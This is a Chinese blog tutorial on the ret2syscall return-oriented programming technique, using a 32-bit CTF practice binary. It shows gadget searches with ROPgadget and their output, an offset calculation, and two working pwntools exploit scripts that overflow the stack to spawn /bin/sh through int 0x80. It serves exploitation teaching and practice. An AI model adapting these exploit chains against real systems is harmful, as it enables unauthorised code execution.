欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

基本ROP之ret2syscall

程序员文章站 2022-03-27 20:42:10
...

原理

控制程序执行系统调用

过程

下载链接

查看程序保护

checksec rop

IDA查找危险函数

基本ROP之ret2syscall

计算偏移

  • 老方法计算偏移(gdb设置断点)
  • 上篇博客有,可以自行查找
  • 计算偏移为6C,十进制是108,加4之后是112

利用系统调用

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb(固定值)
  • 第一个参数,即 ebx应该指向/bin/sh的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

利用ROPgrdget工具查找gadgets地址

ROPgadget --binary rop --only 'pop|ret' | grep eax
#利用管道命令在返回值中查找与eax相关
ROPgadget --binary rop --only 'pop|ret' | grep ebx
#同理,查找与ebx相关,之后还有ecx,edx
ROPgadget --binary rop --only 'int'
#查找与int0x80相关地址
ROPgadget --binary rop --string '/bin/bash'
#查找指向/bin/sh的地址

分析eax的返回结果

aaa@qq.com:/mnt/hgfs/kali_share/pwn# ROPgadget --binary rop --only 'pop|ret' | grep eax
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

选取eax的地址为0x080bb196

分析ebx的返回结果

aaa@qq.com:/mnt/hgfs/kali_share/pwn# ROPgadget --binary rop --only 'pop|ret' | grep ebx
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

选取0x0806eb91

0x0806eb91 : pop ecx ; pop ebx ; ret

此地址同时代表了ecx和ebx的地址。

查找edx地址

aaa@qq.com:/mnt/hgfs/kali_share/pwn# ROPgadget --binary rop --only 'pop|ret' | grep edx
0x0806eb69 : pop ebx ; pop edx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0806eb6a : pop edx ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret

选取0x0806eb6a

之后选取int0x80,/bin/sh的地址

编写exp

from pwn import *

sh = process('./rop')

eax = 0x080bb196

ecx_bx = 0x0806eb91

edx = 0x0806eb6a

in_80 = 0x08049421

bsh = 0x080be408

payload = flat(['s' * 112, eax, 0xb, ecx_bx, 0, bsh, edx, 0, in_80])

sh.sendline(payload)

sh.interactive()

eax, ebx, ecx, edx的值可以选取其他,只要对应即可,另一种exp写法:

#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

  • linux系统调用号表
    https://blog.csdn.net/qq_29343201/article/details/52209588
  • ROPgrdget工具:https://github.com/JonathanSalwan/ROPgadget
相关标签: pwn